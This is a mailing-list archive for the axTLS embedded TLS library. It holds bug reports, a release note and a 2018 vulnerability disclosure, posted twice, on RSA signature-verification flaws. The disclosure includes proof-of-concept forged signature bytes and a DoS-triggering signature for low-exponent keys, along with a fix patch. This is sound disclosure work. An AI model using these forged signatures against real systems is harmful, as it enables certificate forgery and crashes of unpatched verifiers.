axtls-general Mailing List for axTLS Embedded SSL
Brought to you by:
cameronrich
You can subscribe to this list here.
2010 |
Jan
|
Feb
|
Mar
|
Apr
|
May
|
Jun
|
Jul
|
Aug
|
Sep
|
Oct
|
Nov
|
Dec
(2) |
---|---|---|---|---|---|---|---|---|---|---|---|---|
2011 |
Jan
(13) |
Feb
(1) |
Mar
|
Apr
(3) |
May
(1) |
Jun
(1) |
Jul
|
Aug
|
Sep
|
Oct
|
Nov
|
Dec
|
2012 |
Jan
(1) |
Feb
(1) |
Mar
|
Apr
(1) |
May
(4) |
Jun
|
Jul
(1) |
Aug
|
Sep
|
Oct
|
Nov
|
Dec
|
2013 |
Jan
(1) |
Feb
(1) |
Mar
|
Apr
|
May
|
Jun
|
Jul
|
Aug
|
Sep
|
Oct
|
Nov
|
Dec
|
2014 |
Jan
|
Feb
(2) |
Mar
|
Apr
|
May
|
Jun
(4) |
Jul
(4) |
Aug
(2) |
Sep
(3) |
Oct
(1) |
Nov
(4) |
Dec
(1) |
2015 |
Jan
|
Feb
(1) |
Mar
|
Apr
|
May
|
Jun
(2) |
Jul
(2) |
Aug
|
Sep
|
Oct
|
Nov
|
Dec
|
2016 |
Jan
|
Feb
|
Mar
|
Apr
|
May
(2) |
Jun
|
Jul
(2) |
Aug
(8) |
Sep
|
Oct
|
Nov
|
Dec
(3) |
2017 |
Jan
(3) |
Feb
|
Mar
|
Apr
|
May
|
Jun
(2) |
Jul
(2) |
Aug
(1) |
Sep
|
Oct
|
Nov
(1) |
Dec
|
2018 |
Jan
|
Feb
|
Mar
|
Apr
|
May
|
Jun
|
Jul
(1) |
Aug
|
Sep
|
Oct
|
Nov
(3) |
Dec
|
2019 |
Jan
|
Feb
|
Mar
(1) |
Apr
|
May
|
Jun
|
Jul
|
Aug
|
Sep
|
Oct
|
Nov
|
Dec
|
2021 |
Jan
|
Feb
|
Mar
|
Apr
|
May
|
Jun
(1) |
Jul
|
Aug
|
Sep
|
Oct
|
Nov
|
Dec
|
2023 |
Jan
|
Feb
|
Mar
|
Apr
|
May
(1) |
Jun
|
Jul
|
Aug
|
Sep
|
Oct
|
Nov
|
Dec
|
From: Xm C. <xic...@gm...> - 2023-05-11 16:00:09
|
Hi, we found a bug in the latest version of axtls(v2.1.5) when parsing private key. Here's how we trigger the bug and the error log from AddressSanitizer. ``` ./axssl s_server -accept 15001 -pass abcd -key POC10 -cert ./a.pem ================================================================= ==436778==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6020000000bf at pc 0x5583a5a5a903 bp 0x7fffb8107e00 sp 0x7fffb8107df0 READ of size 1 at 0x6020000000bf thread T0 #0 0x5583a5a5a902 in bi_import ./axtls-code/crypto/bigint.c:631 #1 0x5583a5a61912 in RSA_priv_key_new ./axtls-code/crypto/rsa.c:66 #2 0x5583a5a6d786 in asn1_get_private_key ./axtls-code/ssl/asn1.c:299 #3 0x5583a5a430d4 in add_private_key ./axtls-code/ssl/tls1.c:648 #4 0x5583a5a3d21b in do_obj ./axtls-code/ssl/loader.c:134 #5 0x5583a5a3d0b7 in ssl_obj_load ./axtls-code/ssl/loader.c:92 #6 0x5583a5a3a8a3 in do_server ./axtls-code/samples/c/axssl.c:232 #7 0x5583a5a39dcd in main ./axtls-code/samples/c/axssl.c:90 #8 0x7f51816ce082 in __libc_start_main ../csu/libc-start.c:308 #9 0x5583a5a39b4d in _start (axssl+0x8b4d) 0x6020000000bf is located 13 bytes to the right of 2-byte region [0x6020000000b0,0x6020000000b2) allocated by thread T0 here: #0 0x7f518194c527 in __interceptor_malloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:145 #1 0x5583a5a6cbbd in asn1_get_big_int ./axtls-code/ssl/asn1.c:168 #2 0x5583a5a6d559 in asn1_get_private_key ./axtls-code/ssl/asn1.c:292 #3 0x5583a5a430d4 in add_private_key ./axtls-code/ssl/tls1.c:648 #4 0x5583a5a3d21b in do_obj ./axtls-code/ssl/loader.c:134 #5 0x5583a5a3d0b7 in ssl_obj_load ./axtls-code/ssl/loader.c:92 #6 0x5583a5a3a8a3 in do_server ./axtls-code/samples/c/axssl.c:232 #7 0x5583a5a39dcd in main ./axtls-code/samples/c/axssl.c:90 #8 0x7f51816ce082 in __libc_start_main ../csu/libc-start.c:308 SUMMARY: AddressSanitizer: heap-buffer-overflow ./axtls-code/crypto/bigint.c:631 in bi_import Shadow bytes around the buggy address: 0x0c047fff7fc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c047fff7fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c047fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c047fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c047fff8000: fa fa 00 00 fa fa 02 fa fa fa 02 fa fa fa 02 fa =>0x0c047fff8010: fa fa 05 fa fa fa 02[fa]fa fa 02 fa fa fa 02 fa 0x0c047fff8020: fa fa 00 fa fa fa 04 fa fa fa 00 fa fa fa fd fa 0x0c047fff8030: fa fa 00 00 fa fa 00 04 fa fa fd fa fa fa 00 00 0x0c047fff8040: fa fa fd fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c047fff8050: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c047fff8060: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb Shadow gap: cc ==436778==ABORTING ``` We triaged the crash, and found that the bug locates at ./ssl/asn1.c. Firstly, when invoking `RSA_priv_key_new`, function `asn1_get_private_key` uses the values from `asn1_get_big_int` as arguments without any check. Secondly, when calling `bi_import` from `RSA_priv_key_new`, the data and its len may not match. Finally, there might be an out-of-bound access in function `bi_import` at line 631 within the loop. You can use the attached files and the following compile command to reproduce the bug. ``` LDFLAGS="-fsanitize=address" CFLAGS="-g -O0 -fsanitize=address" CXXFLAGS="-g -O0 -fsanitize=address" make ``` Thank you for your work. We are prepared to provide more information and looking forward for your reply! Xingman Chen |
From: Ole R. <ole...@em...> - 2021-06-01 13:50:04
|
Hi all, I'm currently debugging a problem with the latest SVN trunk version (279) of axTLS. I found this problem, when evaluating the SNI extension, which was introduced some time ago. When I call ./axssl s_client -servername "playerservices.streamtheworld.com" -connect playerservices.streamtheworld.com:443 -stat it reports invalid handshake Alert: unexpected message in State: receiving Certificate (11) If call it without the servername parameter everything works fine and the connection is established. The connection fails in process_certificate() in the second PARANOIA_CHECK(). Unfortunately I do not know enough the expected TLS procotol messages to understand, why it the handshake fails here. I would be very glad, if anyone could help me debugging this further or perhaps with a fix. If you need any further logs, please let me know. But the error should be easily reproducable. Best regards, Ole Reinhardt |
From: Cameron Hamilton-R. <cam...@gm...> - 2019-03-15 16:32:47
|
Hi everyone, It's been a while and the march of time has exposed a few(?) cracks in the library. Thanks to the contributors below. * Fix for CDR#2019022742006229 (Thanks T-Systems) * Improvement of PKCS#1 RSA signature verification (Thanks Sze Yiu) * Date check extented past 2050 (Thanks Rex Brown) * Fixed X509 verification endless loop (Thanks Shiro Kawai) * Truncated DNS SANs now fail to verify (Thanks Alex Gaynor) * Header compile issue when "Create Language Bindings" is used (Thanks Paul Gazzillo) * Explicit rand() used to partly init entropy when dev urandom not used (Thanks Uwe Bonnes) Cam -- Cameron Hamilton-Rich Ph: 0421 838287 Email: cam...@gm... |
From: Sze Y. C. <sc...@pu...> - 2018-11-05 23:03:25
|
For some reason, my first email had some text flow issues. Hopefully this one reads better. ------------- Hi, We recently investigated the signature verification code of axTLS, and have found some exploitable flaws in it. Our findings were based on v2.1.3 but should also be applicable to v2.1.4. We found that the signature parsing code of axTLS is focused on moving the pointer to the beginning of the hash value (ASN.1 type OTCET STRING), without imposing a lot of checks, making it potentially vulnerable to various brute-force attacks given a low-exponent public key. We first found that axTLS accepts signatures containing trailing bytes after the hash value, in order words, it does not enforce the requirement on the length of padding bytes, a classical flaw previously found in other libraries. This could enable a practical brute-force signature forgery attack given a small public exponent. CVE-2018-16150 has been reserved for this issue. On top of that, we found that the implementation also ignores the prefix bytes, meaning that the first 10 bytes of the signature can take arbitrarily any values (see sig_verify() in x509.c). This makes a brute-force signature forgery attack under low-exponent potentially even easier. Here is a code snippet that might demonstrate the problems: // this is to mimic how sig_verify() is being called, based on // int x509_verify() in ssl/x509.c int x509_verify_mimic(uint8_t *digest, int digest_len, uint8_t *signature, int sig_len, uint8_t *modulus, int mod_len, uint8_t *pub_exp, int pub_exp_len) { int ret = X509_OK; BI_CTX *bi_ctx = bi_initialize(); bigint *bi_digest = bi_import(bi_ctx, digest, digest_len); bigint *mod = bi_import(bi_ctx, modulus, mod_len); bigint *expn = bi_import(bi_ctx, pub_exp, pub_exp_len); bigint *cert_sig = NULL; /* check the signature */ cert_sig = sig_verify(bi_ctx, signature, sig_len, bi_clone(bi_ctx, mod), bi_clone(bi_ctx, expn)); if (cert_sig && bi_digest) { if (bi_compare(cert_sig, bi_digest) != 0) ret = X509_VFY_ERROR_BAD_SIGNATURE; bi_free(bi_ctx, cert_sig); } else { ret = X509_VFY_ERROR_BAD_SIGNATURE; } if (ret) goto end_verify; end_verify: return ret; } uint8_t atk_signature[] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x92, 0x86, 0x2f, 0xe4, 0xcd, 0x06, 0xf9, 0x20, 0x3c, 0x7a, 0x92, 0xc6, 0xff, 0xf3, 0x0c, 0x75, 0x31, 0xb9, 0x69, 0xa0, 0x0c, 0x98, 0xfc, 0x03, 0x31, 0x91, 0xe0, 0xd4, 0x2c, 0x19, 0x90, 0xc4, 0x90, 0x26, 0x4b, 0xa4, 0xd4, 0x83, 0x6e }; uint8_t digestBytes[] = { // SHA-256("65536") 0x0f, 0x25, 0x5e, 0xc1, 0x64, 0x82, 0xc3, 0x43, 0xfd, 0x09, 0x9b, 0xa9, 0x66, 0x88, 0x63, 0x77, 0x8b, 0xe4, 0x0d, 0xc1, 0x66, 0xa6, 0x85, 0x6b, 0x1d, 0x47, 0x0e, 0x0b, 0xc9, 0x7c, 0xc6, 0xfd }; /* if the low-exponent attk is successful, this should not matter */ uint8_t modulusBytes[] = { /* choose any 1024-bit moduli */ }; /* low-exponent ... let's say e = 3 */ uint8_t pubExpBytes[] = { 0x03 }; ret_val = x509_verify_mimic(digestBytes, sizeof(digestBytes), atk_signature, sizeof(atk_signature), modulusBytes, sizeof(modulusBytes), pubExpBytes, sizeof(pubExpBytes) ); The fake signature for SHA-256("65536") is in atk_signature[]. This should work against any 1024-bit moduli as long as e = 3. Moreover, we found that it also does not check the algorithm OID as well as the algorithm parameters when parsing the signature. In fact, it seems to skip the entire ASN.1 prefix before it reaches the beginning of the hash value (see get_signature() in x509.c), which again makes a brute-force signature forgery under low-exponent even easier. CVE-2018-16253 has been reserved for this issue, which can be exploited separately to forge fake signatures. Here is another proof-of-concept fake signature, with the hash being SHA-1("hello world"): uint8_t atk_signature[] = { // SHA-1("hello world") 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x01 , 0x42 , 0x8a , 0x2f , 0x98 , 0xd7 , 0x28 , 0xae , 0x22 , 0x08 , 0x23 , 0x2c , 0x5f , 0x47 , 0x20 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x75 , 0xce , 0x9a , 0x6b , 0x9e , 0xbc , 0xb8 , 0x0e , 0x72 , 0x18 , 0x1b , 0x48 , 0x5e , 0x24 , 0x9b , 0x96 , 0x52 , 0x4e , 0xca , 0xcc , 0xb8 , 0x55 }; Finally, we found that by putting some absurd values in the various ASN.1 lengths bytes, one can try to trick the code into reading from illegal memory addresses and potentially crash the verifier. This is because given the various lengths in the ASN.1 structure, the code is too trusting in the sense that it uses the declared values directly without sanity checks. Considering the possibility of low-exponents, the ASN.1 lengths could potentially be under adversarial control, and should perhaps be taken carefully. CVE-2018-16149 has been reserved for this issue. Here's another fake signature (against any 1024-bit moduli and e = 3) that declares an absurdly long length for the hash value, which on my machine, crashed the verifier when sig_verify() calls bi_import(): uint8_t atk_signature[] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x92, 0x86, 0x2f, 0xe4, 0xcd, 0x6c, 0xbc, 0xc2, 0x3b, 0x89, 0x2f, 0x3d, 0x3d, 0xab, 0xf1, 0x00, 0x6a, 0x11, 0x6e, 0x0f, 0xce, 0x9a, 0xde, 0x8d, 0xec, 0x4f, 0x75, 0x57, 0x64, 0xfc, 0xd0, 0x17, 0xe4, 0x3a, 0x69, 0x85, 0xdc, 0x8e, 0x9e }; Such a potential DoS attack against axTLS seems to be even easier to mount than a signature forgery, as the number of bytes that need to match for a successful attack is much smaller, and the fact that axTLS verifies certificate chains in a bottom-up manner also contributes to an attacker's advantage: even if low-exponent public keys are not commonly found in the wild nowadays, one can purposefully introduce an intermediate CA certificate that uses a low-exponent as the j-th one in the chain, and forge a signature containing absurd length values as described above and put it on the (j+1)-th certificate. Due to the bottom-up verification, before the code traverses up the chain and attempt to verify the j-th certificate against the (j-1)-th one, it would have already processed the malicious signature on the (j+1)-th certificate and performed some illegal memory access. Given that there seems to be performance incentives in using low-exponent public keys with resource-constrained platforms that axTLS targets, perhaps it would be better to harden the code when it comes to RSA signature verification, and not rely on certificate issuers to disallow small public exponents. Fortunately, these problems are not all that difficult to fix. One possibility is to move away from parsing the meta-data and instead hard-code expected values. Here is a patch that we have prepared, based on axTLS-2.1.3. It should be easily adaptable to the latest v2.1.4. A ESP8266 port of axTLS has already accepted this patch, as shown in https://github.com/igrr/axtls-8266/commit/5efe2947ab45e81d84b5f707c51d1c64be52f36c --- /tmp/axtls-code/ssl/x509.c +++ /tmp/axTLS-2.1.3/ssl/x509.c @@ -48,28 +48,6 @@ X509_CTX *x509_ctx); static int x509_v3_key_usage(const uint8_t *cert, int offset, X509_CTX *x509_ctx); - -/** - * Retrieve the signature from a certificate. - */ -static const uint8_t *get_signature(const uint8_t *asn1_sig, int *len) -{ - int offset = 0; - const uint8_t *ptr = NULL; - - if (asn1_next_obj(asn1_sig, &offset, ASN1_SEQUENCE) < 0 || - asn1_skip_obj(asn1_sig, &offset, ASN1_SEQUENCE)) - goto end_get_sig; - - if (asn1_sig[offset++] != ASN1_OCTET_STRING) - goto end_get_sig; - *len = get_asn1_length(asn1_sig, &offset); - ptr = &asn1_sig[offset]; /* all ok */ - -end_get_sig: - return ptr; -} - #endif /** @@ -361,17 +339,58 @@ } #ifdef CONFIG_SSL_CERT_VERIFICATION + +static const uint8_t sig_prefix_md5[] = {0x30, 0x20, 0x30, 0x0C, 0x06, 0x08, 0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x02, 0x05, 0x05, 0x00, 0x04, 0x10}; +static const uint8_t sig_prefix_sha1[] = {0x30, 0x21, 0x30, 0x09, 0x06, 0x05, 0x2b, 0x0E, 0x03, 0x02, 0x1A, 0x05, 0x00, 0x04, 0x14}; +static const uint8_t sig_prefix_sha256[] = {0x30, 0x31, 0x30, 0x0d, 0x06, 0x09, 0x60, 0x86, 0x48, 0x01, 0x65, 0x03, 0x04, 0x02, 0x01, 0x05, 0x00, 0x04, 0x20}; +static const uint8_t sig_prefix_sha384[] = {0x30, 0x41, 0x30, 0x0d, 0x06, 0x09, 0x60, 0x86, 0x48, 0x01, 0x65, 0x03, 0x04, 0x02, 0x02, 0x05, 0x00, 0x04, 0x30}; +static const uint8_t sig_prefix_sha512[] = {0x30, 0x51, 0x30, 0x0d, 0x06, 0x09, 0x60, 0x86, 0x48, 0x01, 0x65, 0x03, 0x04, 0x02, 0x03, 0x05, 0x00, 0x04, 0x40}; + /** * Take a signature and decrypt it. */ -static bigint *sig_verify(BI_CTX *ctx, const uint8_t *sig, int sig_len, +static bigint *sig_verify(BI_CTX *ctx, const uint8_t *sig, int sig_len, uint8_t sig_type, bigint *modulus, bigint *pub_exp) { - int i, size; + int i; bigint *decrypted_bi, *dat_bi; bigint *bir = NULL; uint8_t *block = (uint8_t *)alloca(sig_len); + const uint8_t *sig_prefix = NULL; + uint8_t sig_prefix_size = 0, hash_len = 0; + /* adjust our expections */ + switch (sig_type) + { + case SIG_TYPE_MD5: + sig_prefix = sig_prefix_md5; + sig_prefix_size = sizeof(sig_prefix_md5); + break; + case SIG_TYPE_SHA1: + sig_prefix = sig_prefix_sha1; + sig_prefix_size = sizeof(sig_prefix_sha1); + break; + case SIG_TYPE_SHA256: + sig_prefix = sig_prefix_sha256; + sig_prefix_size = sizeof(sig_prefix_sha256); + break; + case SIG_TYPE_SHA384: + sig_prefix = sig_prefix_sha384; + sig_prefix_size = sizeof(sig_prefix_sha384); + break; + case SIG_TYPE_SHA512: + sig_prefix = sig_prefix_sha512; + sig_prefix_size = sizeof(sig_prefix_sha512); + break; + } + if (sig_prefix) + hash_len = sig_prefix[sig_prefix_size - 1]; + + /* check length (#A) */ + if (sig_len < 2 + 8 + 1 + sig_prefix_size + hash_len) + goto err; + + /* decrypt */ dat_bi = bi_import(ctx, sig, sig_len); ctx->mod_offset = BIGINT_M_OFFSET; @@ -382,22 +401,30 @@ bi_export(ctx, decrypted_bi, block, sig_len); ctx->mod_offset = BIGINT_M_OFFSET; - i = 10; /* start at the first possible non-padded byte */ - while (block[i++] && i < sig_len); - size = sig_len - i; - - /* get only the bit we want */ - if (size > 0) - { - int len; - const uint8_t *sig_ptr = get_signature(&block[i], &len); - - if (sig_ptr) - { - bir = bi_import(ctx, sig_ptr, len); - } - } - + /* check the first 2 bytes */ + if (block[0] != 0 || block[1] != 1) + goto err; + + /* check the padding */ + i = 2; /* start at the first padding byte */ + while (i < sig_len - 1 - sig_prefix_size - hash_len) + { /* together with (#A), we require at least 8 bytes of padding */ + if (block[i++] != 0xFF) + goto err; + } + + /* check end of padding */ + if (block[i++] != 0) + goto err; + + /* check the ASN.1 metadata */ + if (memcmp(block+i, sig_prefix, sig_prefix_size)) + goto err; + + /* now we can get the hash we need */ + bir = bi_import(ctx, block + i + sig_prefix_size, hash_len); + +err: /* save a few bytes of memory */ bi_clear_cache(ctx); return bir; @@ -549,7 +576,7 @@ } /* check the signature */ - cert_sig = sig_verify(ctx, cert->signature, cert->sig_len, + cert_sig = sig_verify(ctx, cert->signature, cert->sig_len, cert->sig_type, bi_clone(ctx, mod), bi_clone(ctx, expn)); if (cert_sig && cert->digest) Best regards, Sze Yiu |
From: Sze Y. C. <sc...@pu...> - 2018-11-05 22:37:57
|
For some reason, my first email had some text flow issues. Hopefully this one reads better. ------------- Hi, We recently investigated the signature verification code of axTLS, and have found some exploitable flaws in it. Our findings were based on v2.1.3 but should also be applicable to v2.1.4. We found that the signature parsing code of axTLS is focused on moving the pointer to the beginning of the hash value (ASN.1 type OTCET STRING), without imposing a lot of checks, making it potentially vulnerable to various brute-force attacks given a low-exponent public key. We first found that axTLS accepts signatures containing trailing bytes after the hash value, in order words, it does not enforce the requirement on the length of padding bytes, a classical flaw previously found in other libraries. This could enable a practical brute-force signature forgery attack given a small public exponent. CVE-2018-16150 has been reserved for this issue. On top of that, we found that the implementation also ignores the prefix bytes, meaning that the first 10 bytes of the signature can take arbitrarily any values (see sig_verify() in x509.c). This makes a brute-force signature forgery attack under low-exponent potentially even easier. Here is a code snippet that might demonstrate the problems: // this is to mimic how sig_verify() is being called, based on // int x509_verify() in ssl/x509.c int x509_verify_mimic(uint8_t *digest, int digest_len, uint8_t *signature, int sig_len, uint8_t *modulus, int mod_len, uint8_t *pub_exp, int pub_exp_len) { int ret = X509_OK; BI_CTX *bi_ctx = bi_initialize(); bigint *bi_digest = bi_import(bi_ctx, digest, digest_len); bigint *mod = bi_import(bi_ctx, modulus, mod_len); bigint *expn = bi_import(bi_ctx, pub_exp, pub_exp_len); bigint *cert_sig = NULL; /* check the signature */ cert_sig = sig_verify(bi_ctx, signature, sig_len, bi_clone(bi_ctx, mod), bi_clone(bi_ctx, expn)); if (cert_sig && bi_digest) { if (bi_compare(cert_sig, bi_digest) != 0) ret = X509_VFY_ERROR_BAD_SIGNATURE; bi_free(bi_ctx, cert_sig); } else { ret = X509_VFY_ERROR_BAD_SIGNATURE; } if (ret) goto end_verify; end_verify: return ret; } uint8_t atk_signature[] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x92, 0x86, 0x2f, 0xe4, 0xcd, 0x06, 0xf9, 0x20, 0x3c, 0x7a, 0x92, 0xc6, 0xff, 0xf3, 0x0c, 0x75, 0x31, 0xb9, 0x69, 0xa0, 0x0c, 0x98, 0xfc, 0x03, 0x31, 0x91, 0xe0, 0xd4, 0x2c, 0x19, 0x90, 0xc4, 0x90, 0x26, 0x4b, 0xa4, 0xd4, 0x83, 0x6e }; uint8_t digestBytes[] = { // SHA-256("65536") 0x0f, 0x25, 0x5e, 0xc1, 0x64, 0x82, 0xc3, 0x43, 0xfd, 0x09, 0x9b, 0xa9, 0x66, 0x88, 0x63, 0x77, 0x8b, 0xe4, 0x0d, 0xc1, 0x66, 0xa6, 0x85, 0x6b, 0x1d, 0x47, 0x0e, 0x0b, 0xc9, 0x7c, 0xc6, 0xfd }; /* if the low-exponent attk is successful, this should not matter */ uint8_t modulusBytes[] = { /* choose any 1024-bit moduli */ }; /* low-exponent ... let's say e = 3 */ uint8_t pubExpBytes[] = { 0x03 }; ret_val = x509_verify_mimic(digestBytes, sizeof(digestBytes), atk_signature, sizeof(atk_signature), modulusBytes, sizeof(modulusBytes), pubExpBytes, sizeof(pubExpBytes) ); The fake signature for SHA-256("65536") is in atk_signature[]. This should work against any 1024-bit moduli as long as e = 3. Moreover, we found that it also does not check the algorithm OID as well as the algorithm parameters when parsing the signature. In fact, it seems to skip the entire ASN.1 prefix before it reaches the beginning of the hash value (see get_signature() in x509.c), which again makes a brute-force signature forgery under low-exponent even easier. CVE-2018-16253 has been reserved for this issue, which can be exploited separately to forge fake signatures. Here is another proof-of-concept fake signature, with the hash being SHA-1("hello world"): uint8_t atk_signature[] = { // SHA-1("hello world") 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x01 , 0x42 , 0x8a , 0x2f , 0x98 , 0xd7 , 0x28 , 0xae , 0x22 , 0x08 , 0x23 , 0x2c , 0x5f , 0x47 , 0x20 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x75 , 0xce , 0x9a , 0x6b , 0x9e , 0xbc , 0xb8 , 0x0e , 0x72 , 0x18 , 0x1b , 0x48 , 0x5e , 0x24 , 0x9b , 0x96 , 0x52 , 0x4e , 0xca , 0xcc , 0xb8 , 0x55 }; Finally, we found that by putting some absurd values in the various ASN.1 lengths bytes, one can try to trick the code into reading from illegal memory addresses and potentially crash the verifier. This is because given the various lengths in the ASN.1 structure, the code is too trusting in the sense that it uses the declared values directly without sanity checks. Considering the possibility of low-exponents, the ASN.1 lengths could potentially be under adversarial control, and should perhaps be taken carefully. CVE-2018-16149 has been reserved for this issue. Here's another fake signature (against any 1024-bit moduli and e = 3) that declares an absurdly long length for the hash value, which on my machine, crashed the verifier when sig_verify() calls bi_import(): uint8_t atk_signature[] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x92, 0x86, 0x2f, 0xe4, 0xcd, 0x6c, 0xbc, 0xc2, 0x3b, 0x89, 0x2f, 0x3d, 0x3d, 0xab, 0xf1, 0x00, 0x6a, 0x11, 0x6e, 0x0f, 0xce, 0x9a, 0xde, 0x8d, 0xec, 0x4f, 0x75, 0x57, 0x64, 0xfc, 0xd0, 0x17, 0xe4, 0x3a, 0x69, 0x85, 0xdc, 0x8e, 0x9e }; Such a potential DoS attack against axTLS seems to be even easier to mount than a signature forgery, as the number of bytes that need to match for a successful attack is much smaller, and the fact that axTLS verifies certificate chains in a bottom-up manner also contributes to an attacker's advantage: even if low-exponent public keys are not commonly found in the wild nowadays, one can purposefully introduce an intermediate CA certificate that uses a low-exponent as the j-th one in the chain, and forge a signature containing absurd length values as described above and put it on the (j+1)-th certificate. Due to the bottom-up verification, before the code traverses up the chain and attempt to verify the j-th certificate against the (j-1)-th one, it would have already processed the malicious signature on the (j+1)-th certificate and performed some illegal memory access. Given that there seems to be performance incentives in using low-exponent public keys with resource-constrained platforms that axTLS targets, 